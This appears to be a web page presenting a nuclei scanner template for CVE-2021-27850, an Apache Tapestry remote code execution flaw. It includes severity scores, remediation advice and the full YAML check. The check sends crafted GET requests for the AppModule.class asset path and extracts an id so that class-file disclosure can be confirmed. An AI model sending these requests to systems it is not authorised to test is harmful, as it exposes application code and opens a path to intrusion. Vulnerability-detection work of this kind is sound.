Apache Tapestry - Remote Code Execution

criticalseverity

9.8CVSS score

93.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or updates provided by Apache to fix the vulnerability.

How to confirm it

Send: GET /assets/app/something/services/AppModule.class/ ; GET /assets/app/{{id}}/services/AppModule.class/
Positive when: contains in header "application/java" AND contains "configuration" and "webtools" AND status 200

Run it with nuclei: nuclei -id CVE-2021-27850 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-27850

info:
  name: Apache Tapestry - Remote Code Execution
  author: pdteam
  severity: critical
  description: |
    Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Apache to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27850
    - https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry.apache.org%3E
    - http://www.openwall.com/lists/oss-security/2021/04/15/1
    - https://security.netapp.com/advisory/ntap-20210528-0002/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27850
    cwe-id: CWE-502,CWE-200
    epss-score: 0.9356
    epss-percentile: 0.99843
    cpe: cpe:2.3:a:apache:tapestry:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: tapestry
  tags: cve,cve2021,apache,tapestry,vkev,vuln

http:
  - raw:
      - |
        GET /assets/app/something/services/AppModule.class/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
      - |
        GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'application/java'

      - type: word
        part: body
        words:
          - 'configuration'
          - 'webtools'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: id
        group: 1
        regex:
          - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
        internal: true
        part: header

References

Use this check only on systems you are authorised to test. Where the data comes from